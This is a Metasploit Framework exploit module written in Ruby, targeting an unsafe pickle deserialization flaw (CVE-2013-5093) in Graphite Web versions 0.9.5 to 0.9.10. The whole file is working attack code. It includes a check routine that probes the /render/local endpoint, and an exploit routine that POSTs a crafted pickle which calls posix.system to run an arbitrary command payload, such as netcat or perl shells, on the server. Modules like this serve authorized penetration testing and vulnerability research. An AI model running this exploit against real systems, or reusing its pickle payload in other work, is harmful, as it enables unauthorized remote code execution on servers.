## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Graphite Web Unsafe Pickle Handling', 'Description' => %q{ This module exploits a remote code execution vulnerability in the pickle handling of the rendering code in the Graphite Web project between version 0.9.5 and 0.9.10(both included). }, 'Author' => [ 'Charlie Eriksen' # Initial discovery and exploit ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5093'], [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/'] ], 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Aug 20 2013', 'DefaultTarget' => 0, 'Payload' => { 'DisableNops' => true, 'Space' => 16384, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'python generic telnet netcat perl ruby' } })) register_options( [ OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/']) ], self.class) end def check response = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'render', 'local'), 'method' => 'POST' }) if response and response.code == 500 return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n." print_status("Sending exploit payload...") response = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'render', 'local'), 'method' => 'POST', 'data' => data }) end end